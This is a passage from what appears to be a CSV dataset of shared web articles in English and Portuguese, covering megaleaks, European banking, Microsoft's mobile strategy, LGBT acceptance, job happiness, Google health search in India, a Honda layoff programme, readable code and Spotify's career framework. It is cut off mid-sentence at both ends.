April 3, 2016 Mossack Fonseca and its customers won't be the last to face an embarrassing or even incriminating megaleak. Encryption and anonymity tools like Tor have only become more widespread and easy to use, making it safer in some ways than ever before for sources to reach out to journalists across the globe. Data is more easily transferred-and with tools like Onionshare , more easily securely transferred-than ever before. And actual Moore's Law continues to fit more data on smaller and smaller slices of hardware every year, any of which could be ferreted out of a corporation or government agency by a motivated insider and put in an envelope to a trusted journalist. The new era of megaleaks is already underway: The Panama Papers represent the fourth tax haven leak coordinated by the ICIJ since just 2013. The Intercept, the investigative journalism outlet co-founded by Glenn Greenwald, Laura Poitras and Jeremy Scahill, has also shown how encryption tools can be combined with investigative journalism to yield leaks like last year's Drone Papers and a collection of 70 million prison phone call records . Dozens of media outlets, including the Intercept, now host anonymous upload systems that use cryptographic protections to shield whistleblowers. All of that-unfortunately for companies and governments trying to keep hold of their dirty data, but fortunate for public interest-means that the widening pipeline of leaks isn't likely to dry up any time soon.",en
1459858629,CONTENT SHARED,2586379029487881843,-1032019229384696495,-3279030551983957682,,,,HTML,http://techcrunch.com/2016/04/04/auka-mcash/,Auka brings Google Cloud-powered banking to Europe,"Norwegian startup Auka is setting its sights on hitting two birds with one stone: helping banks to get into compliance with EU regulation and rolling out high-tech banking to customers across Europe. The company is a white-label service aimed at retail banks and is the first fully licensed and regulated payments infrastructure running on Google's Cloud Platform . The service aims to make it easy for financial institutions to create mobile payments services and more. Historically, payment systems have been operated by banks themselves, but new EU directives are forcing the introduction of an open market, in the hope of making it is far easier to make intra-account payments and payments to merchants. This, in turn, is paving the way for API-first and mobile-first banks such as Atom , Mondo and - with one further layer of abstraction - Auka. Today's announcement is that the company is releasing its tech as a turnkey solution for banks who are lagging behind the curve and haven't gotten their act together in the mobile banking space. Instead of having to invest huge amounts of time and money in developing their own solutions, Auka claims that a full end-to-end integration with a bank takes less than three months. The mobile solutions can be customized with branding, and can include real-time peer-to-peer payments, point-of-sale solutions and merchant services. Auka is one of the flagship showcases for Google's Cloud Platform . ""I'm excited and privileged to work together with the Auka team. I believe what Auka is doing is very disruptive and a great step forward for the financial industry,"" said Otso Juntunen, Head of Google Cloud Platform in the Nordics. Auka launched mCASH, its first mobile payments platform and a competitor to PayPal of sorts, back in 2014. mCASH targets entry-level mobile payments for small online stores, sending money to friends and family and running small retail operations such as cafes and restaurants, concerts and events. With its white-label relaunch, the company is entering its second wind, aiming at a much bigger market. The platform counts 17 banks and thousands of merchants among its users. ""It is a digital revolution that will completely alter the current banking model and require financial institutions to adapt their business and operating mode,"" Auka claims, and with its Europe-wide roll-out, the company is offering a helping hand to the large number of slower-moving players in the banking world.",en
1459861163,CONTENT SHARED,-5799839529845993396,6735372008307093370,616525178575405497,,,,HTML,http://www.brasilpost.com.br/nathalie-vassallo/o-problema-do-gay_b_5044958.html,"""Não, você não aceita a homossexualidade ainda...""","Publicado: ""O Problema do gay"" - começava minha mãe, ""é a necessidade que ele tem de ser aplaudido"" . Estávamos no nosso natal-de-nós-duas do ano passado e conversávamos sobre tolerância. Bom, essa é a minha versão - na de minha mãe, conversávamos sobre essa história de ""gay querer demais"" . Este artigo é dedicado pra quem diz aceitar e respeitar homossexualidade e ainda se contorce ao enxergar um beijo gay; pra quem liga pra perguntar ""mas é mesmo necessário fazer propaganda do relacionamento homossexual no Facebook?"" ; pro famoso e absurdo ""não tenho problema com gay, mas precisa beijar na rua?!"" ; pros que insistem em se referir a namorados e namoradas de casais homossexuais como ""amigo"" ou ""amiga"" . E também pro pessoal gay que senta e assiste isso tudo sem dizer nada, permitindo e alimentando tal significante limitação social. Isso é o pouco do que tenho a dizer sobre essa coisa de ""eu aceito, mas agora esconde"" . Tenho certeza que a maioria dos gays tem histórias pra contar quando o assunto é aceitação. Digo, como brincadeira, que não saí do armário - mas chutei a porta e saí dançando (ao som de Cássia Eller e Ana Carolina). Depois que o choque passou, a família foi, pouco a pouco, me presenteando com discursos de ""eu aceito"" - suas atitudes, porém, expressavam o oposto. A irmã de meu pai, por exemplo, me escreveu logo depois que tornei público meu relacionamento em mídia social. Com o título ""ridículo"" , a mensagem começava com ""eu aceito e não tenho o menor preconceito"" e terminava no ""por favor, tire isso da internet"" . A imagem de perfil da tia era ela e o marido, os dois sorridentes. A foto do casal continuava a aparecer na minha lista de mensagens: ""você está me peitando"" , ela brigava. E só piorou: me atribuiu tantos adjetivos - patética, destruidora de família, rebelde - só não chamou de bonita. O importante da história foi a ironia de cada uma de suas mensagens começar com uma versão ou outra de ""eu lhe aceito, mas..."" Essa ignorância semântica é um absurdo que só dá problema. As pessoas falam, com frequência, ""eu aceito"" quando o que querem dizer é ""eu (quase) tolero"" . Ser tolerante significa aturar algo de que você não gosta muito da idéia, algo com que você não concorda ou que você associa com uns sentimentos negativos. O gay não quer demais - só pede pra ser aceito. Dizer ""eu aceito e só quero que seja feliz"" seguido de um ""por que você precisa fazer propaganda da relação homossexual?"" não é aceitação. Fugir para não falar sobre o namorado do seu filho pra vizinha não é aceitação. Apresentar a namorada da sua sobrinha como amiga não é aceitação. Aceitação é não ver nada de errado ali. Aceitar é ter como verdade, como normal, como apropriado; é compreender e até mesmo receber de braços abertos. Confundir essas duas palavras, além de ignorante, estraçalha com a paz da gente. A verdade é que sempre há um processo - e não é fácil pra ninguém. Resolvi trazer a família inteira e parafrasear minha prima, quem uma vez escreveu: ""o clichê [diz] que 'a geração dos nossos pais não se preparou para isso'. Mas a verdade é que não nascemos preparados para nada"" . É compreensível (e maravilhosamente consciente) dizer ""eu tolero; ainda não aceito, mas me dê mais tempo - estou me esforçando"". ""Eu poderia te responder com o clichê de que ""a geração dos nossos pais não se preparou para isso"". Mas a verdade é que não nascemos preparados para nada. Nobody does. Ao longo da vida aprendemos com as experiências acumuladas na ""rua"", somadas à educação que recebemos em casa. Por educação quero dizer: noção de família, limites, respeito, espaço, e de como compartilhar e vivenciar o amor. Não estamos preparados, nos preparamos diariamente. ""Como nossos pais"", cantaria Elis Regina."" ""...se há preconceito no mundo - e isso é uma neurose dos pais quando os filhos saem do armário - o pior preconceito está dentro de casa. Continuo batendo na tecla de que quem [coloca à margem] o filho(a) gay - são os próprios pais."" - Thatiana Rei MAIS ORGULHO GAY NO BRASIL POST Não é justo esperar imediata aceitação de ninguém. Pais criam expectativas, além de terem suas opiniões e conceitos formados - quebrar isso tudo numa frase só pode machucar. Não só há sempre um processo, mas um processo, talvez, bem difícil - e ter a ciência de onde estamos é fundamentalmente importante pra conseguir mover na direção certa e chegar a algum lugar. Se você tem um filho - ou uma filha - e parou de perguntar sobre seus planos de casamento ou filhos uma vez que descobriu sobre sua homossexualidade; se ouvir perguntas como ""e sua filha, querida, está namorando?"" lhe causam extremo desconforto por não querer revelar que sua menina namora meninas; se você apresenta o namorado ou namorada gay como amigo, se é contra qualquer exposição gay em mídia social, se prega que orientação sexual é para ser guardada a sete chaves, esse texto é pra você: Não, você não aceita a homossexualidade ainda. Mas não tem problema; estamos todos juntos - no fundo mesmo, tudo que a gente quer é entender e se sentir compreendido, aceitar e ser aceito. Vamos ser bregas, falar baboseiras de amor, prometer respeito e dar as mãos ao decorrer do processo. Eu vou tentar o máximo compreender suas limitações; podemos começar com você perguntando se eu e minha namorada pretendemos ter filhos. Sim! - lhe respondo. E continuo: o que você acha do nome Graça pra nossa primeira menina?",pt
1459867824,CONTENT SHARED,-6499865726739947794,6003902177042843076,9221043291398421991,,,,HTML,http://techcrunch.com/2016/04/04/microsofts-mobile-problem-may-not-be-a-problem-at-all/,Microsoft's mobile problem may not be a problem at all,"When Microsoft announced its Windows 10 strategy last year, the thinking was that the unified platform would drive Windows Mobile and finally bring the Windows phone out of the doldrums where it's been virtually forever. The idea was you could develop once for Windows 10 desktop and easily share that code on any device, making it impossibly attractive for developers, which would finally drive Windows Mobile popularity in a beautiful virtuous development cycle. Unfortunately it hasn't worked out that way, and Microsoft finds itself in an unusual position, developing software for iOS and Android because it simply doesn't have a viable Windows mobile ecosystem. According to comScore's latest marketshare numbers , Microsoft had 2.9 percent marketshare in the US for the fourth quarter last year. That was unchanged since September in case you were wondering. In its fourth quarter earnings report in January, Microsoft reported a smartphone platform deeply in decline . That would cover the period where the Windows 10 mobile development magic was supposed to be happening. As you can plainly see, the plan doesn't seem to have worked as drawn up. Windows 10 is out. It appears to be getting great adoption on 270 million devices , but it doesn't seemed to have trickled down to Windows smartphones much at all. Singing different tunes Here's how Satya Nadella outlined how how he hoped his mobile strategy would play out in an interview with Mary Jo Foley of ZDNet last year: ""[T]he free upgrade for Windows 10 is meant to improve our phone position. That is the reason why I made that decision. If somebody wants to know whether I'm committed to Windows Phone, they should think about what I just did with the free upgrade to Windows, rather than - hey, I['m] making four more phone models of value smart phones."" In an interview with Matt Rosoff from Business Insider this week, Rosoff pointed out the lack of discussion of Windows mobile at last week's Build Developer conference. Nadella's position was more nuanced this time : First of all, I don't think of Windows for mobile differently than Windows for HoloLens or Windows for Xbox now. We have only one Windows. We don't have multiple Windows. They run across multiple form factors, but it's one developer platform, one store, one tool chain for developers. And you adapt it for different screen sizes and different input and output. TechCrunch's Haje Jans Kamps also noticed that Windows phone was conspicuously absent from the Build conference keynote discussions. At one point while introducing Xamarin, the presenter put it like this: ""We don't care if it's Android or iOS, we have you covered,"" the presenter said, and continued onto the rest of his presentation. Spot any platforms missing from that two-bulletpoint-list,"" Kamps wondered with his tongue firmly planted in his cheek. Getting by with some help from their friends The question remains can Microsoft succeed without a strong Windows mobile position? From the looks of things, they don't seem to have much choice. Nadella appears to be staking his position in the cloud, which is a perfectly reasonable way to play it, while opening up his company's tools to iOS and Android in the absence of any meaningful Windows phone adoption. When you look at the beauty of the mobile-cloud connection, it's understandable Microsoft would want to be there with Windows, but perhaps Nadella is beginning to understand that Windows is not necessarily the future of the company - Azure and Office 365 are - and that could explain why the company stayed firmly focused on these two areas at Build. When you combine that with the idea of bots created by Microsoft including Cortana (Microsoft's talking virtual assistant), that can run in Microsoft's tools or external platforms like Slack and LINE, you start to see a vision where Microsoft thrives even without an in-house mobile platform. As the world moves swiftly to that mobile-cloud intersection, perhaps the underlying OS becomes less important. If that's the case if Microsoft can have a piece of the underlying cloud-mobile plumbing and have apps and bots created in its ecosystem, run anywhere on any device - rendering the Windows phone gap irrelevant. For Microsoft with its weak mobile position, it had better hope that's the case.",en
1459867906,CONTENT REMOVED,-6499865726739947794,6003902177042843076,9221043291398421991,,,,HTML,http://techcrunch.com/2016/04/04/microsofts-mobile-problem-may-not-be-a-problem-at-all/,Microsoft's mobile problem may not be a problem at all,"When Microsoft announced its Windows 10 strategy last year, the thinking was that the unified platform would drive Windows Mobile and finally bring the Windows phone out of the doldrums where it's been virtually forever. The idea was you could develop once for Windows 10 desktop and easily share that code on any device, making it impossibly attractive for developers, which would finally drive Windows Mobile popularity in a beautiful virtuous development cycle. Unfortunately it hasn't worked out that way, and Microsoft finds itself in an unusual position, developing software for iOS and Android because it simply doesn't have a viable Windows mobile ecosystem. According to comScore's latest marketshare numbers , Microsoft had 2.9 percent marketshare in the US for the fourth quarter last year. That was unchanged since September in case you were wondering. In its fourth quarter earnings report in January, Microsoft reported a smartphone platform deeply in decline . That would cover the period where the Windows 10 mobile development magic was supposed to be happening. As you can plainly see, the plan doesn't seem to have worked as drawn up. Windows 10 is out. It appears to be getting great adoption on 270 million devices , but it doesn't seemed to have trickled down to Windows smartphones much at all. Singing different tunes Here's how Satya Nadella outlined how how he hoped his mobile strategy would play out in an interview with Mary Jo Foley of ZDNet last year: ""[T]he free upgrade for Windows 10 is meant to improve our phone position. That is the reason why I made that decision. If somebody wants to know whether I'm committed to Windows Phone, they should think about what I just did with the free upgrade to Windows, rather than - hey, I['m] making four more phone models of value smart phones."" In an interview with Matt Rosoff from Business Insider this week, Rosoff pointed out the lack of discussion of Windows mobile at last week's Build Developer conference. Nadella's position was more nuanced this time : First of all, I don't think of Windows for mobile differently than Windows for HoloLens or Windows for Xbox now. We have only one Windows. We don't have multiple Windows. They run across multiple form factors, but it's one developer platform, one store, one tool chain for developers. And you adapt it for different screen sizes and different input and output. TechCrunch's Haje Jans Kamps also noticed that Windows phone was conspicuously absent from the Build conference keynote discussions. At one point while introducing Xamarin, the presenter put it like this: ""We don't care if it's Android or iOS, we have you covered,"" the presenter said, and continued onto the rest of his presentation. Spot any platforms missing from that two-bulletpoint-list,"" Kamps wondered with his tongue firmly planted in his cheek. Getting by with some help from their friends The question remains can Microsoft succeed without a strong Windows mobile position? From the looks of things, they don't seem to have much choice. Nadella appears to be staking his position in the cloud, which is a perfectly reasonable way to play it, while opening up his company's tools to iOS and Android in the absence of any meaningful Windows phone adoption. When you look at the beauty of the mobile-cloud connection, it's understandable Microsoft would want to be there with Windows, but perhaps Nadella is beginning to understand that Windows is not necessarily the future of the company - Azure and Office 365 are - and that could explain why the company stayed firmly focused on these two areas at Build. When you combine that with the idea of bots created by Microsoft including Cortana (Microsoft's talking virtual assistant), that can run in Microsoft's tools or external platforms like Slack and LINE, you start to see a vision where Microsoft thrives even without an in-house mobile platform. As the world moves swiftly to that mobile-cloud intersection, perhaps the underlying OS becomes less important. If that's the case if Microsoft can have a piece of the underlying cloud-mobile plumbing and have apps and bots created in its ecosystem, run anywhere on any device - rendering the Windows phone gap irrelevant. For Microsoft with its weak mobile position, it had better hope that's the case.",en
1459868095,CONTENT SHARED,1362186507591814859,3829784524040647339,2783278259662341835,,,,HTML,https://catracalivre.com.br/geral/emprego-trabalho/indicacao/conheca-as-10-profissoes-mais-felizes-e-infelizes-do-mundo/,Conheça as 10 profissões mais felizes e infelizes do mundo,"Consegue imaginar porque colocamos essa imagem na capa? Pois é, eles são os primeiros da lista dos mais felizes. Em um mundo que passa por grandes transformações econômicas, temos vários questionamentos sobre o papel do trabalho na nossa vida e como ele interfere em nosso comportamento social, um tema constantemente abordado pela 99jobs. Em uma lista publicada pela Forbes , podemos conhecer as profissões mais felizes do mundo, onde algumas posições são, no mínimo, intrigantes, pois na mesmo ranking vemos profissões que são mais propensas a proporcionarem felicidade (no caso dos bombeiros e fisioterapeutas, por exemplo), mas também nesse ranking aparece vendedores de serviços financeiros (dinheiro traz ou não felicidade? Eis a questão...). Os dados são de umapesquisa feita pela Universidade de Chicago, nos EUA. Confira as 10 profissões melhores posicionadas: 1 - Clérigos Uma das explicações para o resultado do ranking, é que a maioria desses trabalhos se baseia em ajudar pessoas. Para outros, como escritores e artistas, parece que a autonomia e a liberdade de expressão são as responsáveis pela felicidade . Mas o inverso também acontece, (e por isso estamos aqui para te ajudar nessa busca por novas oportunidades, aqui ) e uma publicação do site CareerBliss mostrou as 10 profissões mais infelizes do mundo, uma curiosidade é que essas profissões tendem a ser as mais bem pagas, mas, são também as mais chatas ou que exigem um nível de dedicação maior do que o normal: 1 - Diretor de tecnologia da informação 2 - Diretor de vendas e marketing 3 - Gerente de produto 4 - Desenvolvedor web sênior 5 - Especialista técnico 6 - Técnico em eletrônica 7 - Secretário judicial 8 - Analista de suporte técnico 9 - Operador de CNC 10 - Gerente de marketing Se esses rankings de alguma forma te impactaram a tomar novos rumos em sua vida, visite o site da 99jobs para ver oportunidades novas de trabalho, aqui. Rede Catraca Este conteúdo - assim como as respectivas imagens, vídeos e áudios - é de responsabilidade do usuário Vicente - 99jobs da Rede Catraca. O Catraca Livre disponibiliza espaço no site para que qualquer interessado possa contribuir com cidades mais acolhedoras, educadas e criativas, sempre respeitando a diversidade de opiniões. As informações acima são de responsabilidade do autor e estão sujeitas a alterações sem aviso prévio.",pt
1459868624,CONTENT SHARED,9209629151177723638,-1032019229384696495,-3279030551983957682,,,,HTML,http://techcrunch.com/2016/04/05/google-is-providing-access-to-basic-healthcare-information-in-india/,Google search now provides access to basic healthcare information in India,"Google's latest move in India may help increase access to healthcare information among millions of people. The company added healthcare information to its knowledge graph in the U.S. last year, to help people easily find quick information in response to symptoms or concerns via its search engine, and now the feature is headed east to India. The company, which operates India's two most visited websites according to Alexa , will now serve users of Google's main search engine (on all platforms) and its search apps for iOS and Android with data on over 400 health conditions in English and Hindi when they search for an illness or symptom. ""Next time you ask Google about common health conditions, we'll show you information cards with typical symptoms, as well as details on how common the condition is - whether it's critical, if it's contagious, what ages it affects, and more,"" the company explained in a statement. The cards include images and can be downloaded as PDFs who can easily be passed on to someone else, perhaps a family member or friend. Google said that it will serve 'lite' versions of the cards if a user is on a limited internet connection, as can happen in places like India. Why is Google doing this? With one in twenty searches health-related, the search giant is keen to help users gain greater access to information - although it cautions that the ""search results are not intended as medical advice."" The feature is already live in the U.S. - where Google worked with the Mayo Clinic to fact check its answers - and Brazil as of a few weeks. In India, Google collaborated with Apollo Hospitals and Columbia Asia Hospitals on the content, while it visited a clinic in Ballabgarh - just under 40 km from Delhi - last year to learn more about how it could help grassroots healthcare professionals. An image take from the Google team visiting the Ballabgarh clinic underlines the lack of information available to healthcare professionals in India Google's move is in line with a growing number of startups dedicated to democratizing healthcare in India, where it is claimed as many as 97 percent of people do not have access to basic surgical coverage. Search portal Practo landed a $90 million investment last year , including Google Capital, while its close rival Lybrate pulled in $10 million led by high-profile hedge fund Tiger Global. Those two companies are focused on providing reliable information to users, who can also get more specialized feedback (and, if necessary, appointments) with qualified doctors. Google's India health push doesn't go that far, but, with its visibility, even a seemingly small move could provide better access to information and encourage people in India to take a keener interest in their health. Indeed, Prem Ramaswami - the U.S.-based senior product manager at Google in charge of the project worldwide - shared how his family in the U.S. and India had found information online that helped his father-in-law when he began experiencing chest pains last month. ""Health is a really important need for Indians and people globally. This is a very difficult space to navigate for consumers online, they have issues with trust and vocabulary. We wanted to create something simple and straight forward that gives this framework from which you can dive deeper to get more information,"" Ramaswami further explained to us in an interview. Beyond just helping consumers access information, the feature is designed to give healthcare professionals more data on the go. Ramaswami said it could also back up their case when convincing more skeptical patients to visit a doctor. Google has made a concerted effort to provide more localized services in India this past year or so. Other initiatives include offline support for YouTube , better optimized mobile browsing , and Wi-Fi on India's railway network . Featured Image: Yevhen Vitte/ Shutterstock",en
1459868729,CONTENT SHARED,-42126282997118624,2901546026085255870,7996851524082570025,,,,HTML,http://g1.globo.com/am/amazonas/noticia/2016/04/programa-de-demissao-voluntaria-na-moto-honda-tem-mais-de-500-adesoes.html,Programa de Demissão Voluntária na Moto Honda tem mais de 500 adesões,"O Programa de Demissão Voluntária (PDV), implantado na Moto Honda da Amazônia, situada no Polo Industrial de Manaus (PIM), teve a adesão de mais 500 funcionários, segundo levantamento divulgado pela empresa nesta segunda-feira (4). A meta era atingir 300 colaboradores. De acordo com a Honda, a medida foi tomada com objetivo de adaptar a produção à demanda de mercado. A fábrica diz que o setor de duas rodas ""tem enfrentado forte retração nos últimos 4 anos"". ""Foram elegíveis ao PDV os empregados da Moto Honda, HTA Indústria e Comércio e Honda Componentes, exceto os que possuíam contrato por tempo determinado, os que estavam afastados, os com estabilidade legal e menores aprendizes"", informou ao G1 . Anunciado em fevereiro deste ano, o PDV foi encerrado em março, e as datas para o desligamento dos funcionários que aderiram ao programa foram negociadas individualmente. A montadora não informou se pretende adotar o Programa de Proteção ao Emprego (PPE). Empresa é detentora de 80% do mercado do país (Foto: Divulgação/Moto Honda) ""A Honda reitera seu compromisso com o Brasil e sua crença no potencial do mercado de motocicletas local. Há 40 anos, a empresa mantém em Manaus a maior fábrica de motocicletas da marca no mundo e seguirá empenhada na retomada dos patamares de produção para que possa seguir contribuindo com o desenvolvimento do País"", comunicou. A marca é a maior fabricante desse tipo de veículo no Brasil, detentora de 80% do mercado. O presidente do Sindicato dos Metalúrgicos do Amazonas (Sindmetal), Valdemir Souza Santana, disse que a situação é reflexo da crise no setor. Segundo ele, cerca de 1.500 funcionários foram desligados da empresa desde 2009. ""Foi acordado juntamente com o sindicato para quem quisesse sair, com algumas condições melhores do que a rescisão de contrato. Qualquer tipo de demissão é ruim, mas como foi sugerido pelo próprio trabalhador fica menos traumático"", observou.",pt
1459868944,CONTENT SHARED,1674373276159762025,3829784524040647339,2783278259662341835,,,,HTML,http://chrismm.com/blog/how-to-reduce-the-cognitive-load-of-your-code/,Writing good code: how to reduce the cognitive load of your code,"Low bug count, good performance, easy modification. Good code is high-impact, and is perhaps the main reason behind the existence of the proverbial 10x developer. And yet, despite it's importance, it eludes new developers. Literature on the subject usually amounts to disconnected collections of tips. How can a new developer just memorize all that stuff? "" Code Complete "", the greatest exponent in this matter, is 960 pages long! I believe it's possible to construct a simple mental framework that can be used with any language or library and which will lead to good quality code by default. There are five main concepts I will talk about here. Keep them in mind and writing good code should be a breeze. Keep your personal quirks out of it You read some article which blows your mind with new tricks. Now you are going to write clever code and all your peers will be impressed. The problem is that people just want to fix their bugs and move on. Your clever trick is often nothing more than a distraction. As I talked about in "" Applying neuroscience to software development "", when people have to digest your piece of code, their ""mental stack"" fills up and it is hard to make progress. Don't code ""your way"". Just follow the coding standards. This stuff is already figured out. Make your code predictable and easy to read by coding the way people expect. Divide and conquer it Complex code can often be clarified through modularization, and there are more ways to do this than just creating more functions. Storing the result of long conditionals into a variable or two is a great way to modularize without the overhead of a function call. This will even allow you to compose them into larger conditionals, or to reuse the result somewhere else. The approach when breaking a problem down should be to have each section as focused as possible, affecting only local state, without mixing in irrelevant issues, and without side-effects if at all possible. Programming languages and libraries often come with their issues, and abstracting them away can help your code mind its own business. The Single Responsibility Principle is another example of how focused and localized code leads to good design. TDD, beside coming with its own benefits when done right, has been forcing people to apply certain principles which were previously not as popular. Stateless code was dismissed as slow and unnecessary (see: most old C/C++ code), and now everyone is talking about pure functions. Even if you don't do TDD, you should learn the principles that drive it. Working under new paradigms will turn you into a resilient developer. Make it discrete and processable Your computer and your tools can have as much of a hard time dealing with your code as you, and there is some correlation between the number of preprocessors and mutations you have to apply and how convoluted the code is. Let's set aside the possible benefits of those additional build tools for a moment. Chances are that they require you to use domain-specific languages such as custom templating, or complex and dynamic data structures such as hash tables. Your IDE generally isn't going to be good at handling this stuff, and locating relevant pieces of code will become harder. Avoid using language extensions and libraries that do not play well with your IDE. The impact they will have on your productivity will far outweigh the small benefit of easier configuration or saving a few keystrokes with more terse syntax. Another way to keep the ""integrated"" part of your IDE relevant is to avoid magic code. Most languages will provide ways for you to write more dynamic code. Abusing these features such as by using magic strings, magic array indexes and custom template language features will lead to a more disconnected codebase. Generally any features which only a human will know the meaning of will lead you down this road, and it's a hard road to come back from, because if your IDE doesn't understand the code, any refactoring features it has are going to be useless when you want to move to a more static architecture. Make it readable Work towards having a predictable architecture. Your teammates will find it easier to locate things, and this will greatly reduce the time it takes them to get something done. Once you've agreed on an overall architectural structure for your project, make it obvious where the main elements are located. Using MVC? Place models, views and controllers in their own folders, not three folders deep or spread across several different places. I talked about modularization. There can also be excessive modularization, which will usually make code harder to locate. Your IDE might help some, but often you will be torn between having your IDE ignore a vendor/library folder due to it having too much irrelevant code, or having it indexed and dealing with the problem manually. It's a lose-lose situation. Try to use fewer libraries by choosing the ones that cover as many of your needs as possible. Libraries and tooling can also be a barrier for new developers. I recently built a project using EcmaScript 7 (babel), only to later realize that our junior dev was getting stuck trying to figure out what it all meant. Huge toll on the team's productivity. I underestimated how overwhelming that can be to someone just starting out. Don't use tools that are still too hard to get a grip on. Wait for a better time. Make it easy to digest If you've made it this far, I have good news: this is probably the most important part. Choosing good names is known to be one of the larger issues in software development. Build tools are unlikely to be going to improve on this, and the reason is that computers can't really know the reasoning behind a solution. You have to document the why. Relevant and contextual variable and function names are a great way to do this. Names that convey purpose will even reduce the need for documentation. Using prefixes in names is a great way to add meaning to them. It's a practice that used to be popular, and I think misuse is the reason it hasn't kept up. Prefix systems like hungarian notation were initially meant to add meaning, but with time they ended up being used in less contextual ways, such as just to add type information. Finally there is always something to be said about keeping a low cyclomatic complexity. What this means is to keep the number of conditional branches as low as possible. Each additional branch will not only add indentation and hurt readability, but will more importantly increase the number of things you have to keep track of. Conclusion & further reading These are five simple and overarching concepts, and my goal here was to make your learning easier by giving you boxes into which you can put all those code organization ideas. Practice focusing on these aspects while programming to solidify them. If you haven't done so yet, I really recommend Code Complete . It comes with a large amount of examples and will dissect almost any situation you might run into.",en
1459871687,CONTENT SHARED,1041289933344278866,8572969747961902966,-4555746817193567185,,,,HTML,https://labs.spotify.com/2016/02/08/technical-career-path/,Building a technical career path at Spotify,"Spotify launched a career path framework for individuals last year. Since then, I've spoken to leaders at several other companies about it. This seems to be a bit of a hot topic, so I've decided to write about our model and how we arrived at it. Hopefully, this may be useful to your company. This will be a three part series. In this, the first part, I will talk about how we created our framework. In the second segment , I will talk about the framework itself. I will talk about the hard lessons learned in rolling out this kind of program in the third part . The road is more important than the destination If you are trying to figure out how to approach career paths in your company, it will be tempting to take ours (or someone else's) and just use that, style. I would highly recommend against this though. How a person matures within your company is a critical part of your company's culture. As I've written before, your culture is unique; a career path framework from another company will not build on or reinforce the values that make your company great. When should you create a career path framework? I saw a YouTube video of a panel on career pathing for tech startups at some point. One of the speakers made the argument that you should create a career ladder later than you think you need it, a little bit after it is really necessary. I think this is very good advice for a few reasons. A career path framework is unnecessary in the early days of a company and creates unnecessary process that can be as much of a distraction as a benefit. One of the great things about the early stages of a company is that roles people have are constantly evolving. Formalizing them too early can stunt the natural development of the organization and the individuals within it. Eventually, as a leader, you will start hearing about people wanting to know what their future at the company looks like or how they can take on more responsibility. When this shifts from an occasional idle question to a more of a groundswell, then you know that it is truly time to create something more formal. At Spotify, we'd waited almost eight years before deciding that it was time to create a career pathing framework. The company's anti-hierarchical culture probably was a large part of the reason for not seeing this as a need. Honestly, this was likely too long to wait, and some of the issues we had when we rolled it out were presumably due to the fact that we hadn't done it sooner. There were a few things that made it clear that it was now past time to do this. There was no formal way to acknowledge career growth (via title, salary or responsibility increases) in the individual contributor role. There was a strong belief within the organization that the way to be ""promoted"" was to become a Chapter Lead (line manager) or a product owner. In fact, switching to these roles at Spotify is more akin to a career change (to management or product) than it is to developing as an individual contributor. In the spring of 2014, at a technology leadership offsite, we decided to create a ""career ladder"" for Spotify and quickly drew up something simple to start with. I was made the Road Manager (driver/leader) of the effort to flesh it out and then roll it out to our large organization. It seemed like a straightforward task at the time. That assumption turned out to be very naïve. Defining technical career progression, the Spotify way At other companies, especially companies the size of Spotify, creating a career ladder would be something that would probably originate from and be driven by the human resources organization. Within the technology organization at Spotify though, we tend to take a more direct responsibility for the things that impact our culture. We feel strongly that our culture is an important advantage in the effort to build our product. So in Spotify Tech we take these kinds of projects very seriously and are vocal and involved partners with our HR peers. Even to the extent of driving some of these programs ourselves in partnership with HR instead of the other way around. The goal was to create a framework that would make sense with our culture, would work for employees from a diversity of backgrounds, in the US and Sweden, at all levels of experience, and in many different (some unique) roles. It was clear that this would require a team that could represent, as much as possible, the whole organization. Build a working group that is representative of the organization I put out a call to the technology organization for people who were interested in solving this challenge and who were also willing to commit the time to do it right. From the responses I received, I selected the group based on location (to maximize the number of offices represented) and on the role of the volunteer (to have a good cross-section of technology). I also tried to get a diversity of opinions on the concept of career development. We had a few people who had been vocal in their skepticism of career ladders in general. I wanted to make sure that those voices were present as well. We were lucky enough to have our CHRO join for several of the early meetings. Naturally our HR Business Partners for technology were also involved. Their domain expertise was critical throughout the process. Doing it right takes a lot longer than you'd expect At first, I thought that a few months of twice-a-week meetings would be sufficient to conceive and launch the program. That turned out to be ridiculously optimistic. We were able to largely define the framework in a few months, but to create something like this, in an organic, bottom-up manner, for a large organization, requires many cycles of feedback gathering and incorporation. In the end, it took nearly six months from the beginning of the working group to the official RFC. It is now over 18 months since that initial working group meeting, and it still feels like we're getting used to having the program in place, even as we prepare for the second iteration. We definitely have spent a lot of the last year supporting the rollout and adoption of the framework. Some guiding principles The working group began as you might expect, talking about the aspirations for the effort and comparing our own past experiences with career ladders at other companies. We talked about which of those elements made sense in Spotify's culture. Quickly, we realized that the simple career ladder proposed by the tech leadership group wouldn't make sense. Within the first or second meeting, that proposal was officially dead, and we started from scratch. We agreed on a few principles early on: This would not be a ""ladder"", with an up-or-out mentality. We wanted to support people who wished to maintain their current level of responsibility. The basis for advancement was a demonstration of behaviors and not achievements. We wanted our framework to be a true model of professional development. It should be about who you are, and not about what you've done. In a failure-safe environment like Spotify, we didn't want to penalize people for taking big chances. We wanted to support the changing of roles without punishing people for developing themselves. In other career ladders we'd seen, the role becomes a silo. Switching roles could mean a literal demotion since the requirements of a level are tied to specific areas of achievement in a specific role. We wanted this framework to reflect our team-oriented and autonomy-driven culture. Teamwork is critical to our way of working and we wanted to make sure that this was part of personal development. We wanted to support both generalists and specialists. Many folks at Spotify move around the organization to develop a breadth of skills, while others like to get especially deep in specific technology areas. We wanted to support both of these types of people. We believed that career progression is marked by the impact you have on progressively larger areas of the organization, your sphere of influence. We shunned the word ladder from the start, influenced in part by our career ladder skeptics and our desire to support multiple ways of development. Struggling for a way to describe our model of career pathing, we eventually came upon the word ""steps"" thinking more about rocks in a stream than a staircase. The rocks would let you move side to side, or even backwards in order to eventually move forward. The framework was named Spotify Career Steps. A set of five characteristics We were able to build on some of the efforts that had come before in the technology organization. Specifically, the Agile Coaches guild had spent time developing a common set of core capabilities they thought each Spotify developer should have. This became the basis for the areas of development of our framework. We then added two additional areas to reflect professional development within our culture. The five characteristics of Spotify employees that we identified were: Values team success over individual success Continuously improves themselves and their team Holds themselves and others accountable Thinks about the business impact of their work Demonstrates mastery of their discipline I will go further into these characteristics in the next part of the series. A set of four steps There was some discussion around the number of ""levels"" to have. We decided that it was easier to add more levels later than to remove them if we created too many. Given that we had decided that being more senior meant being a resource for larger and larger parts of the organization, mapping ""levels"" to our levels of organization seemed like a reasonable first approach. The four steps of career development at Spotify that we decided on were: Individual - at this level, you are new to working and are figuring out how to be productive and contributing member of the company. Squad / Chapter (these are the teams that people primarily belong to) - you are now a contributing member of a team and are a resource for the people you work with every day. Tribe / Guild (these are the larger teams 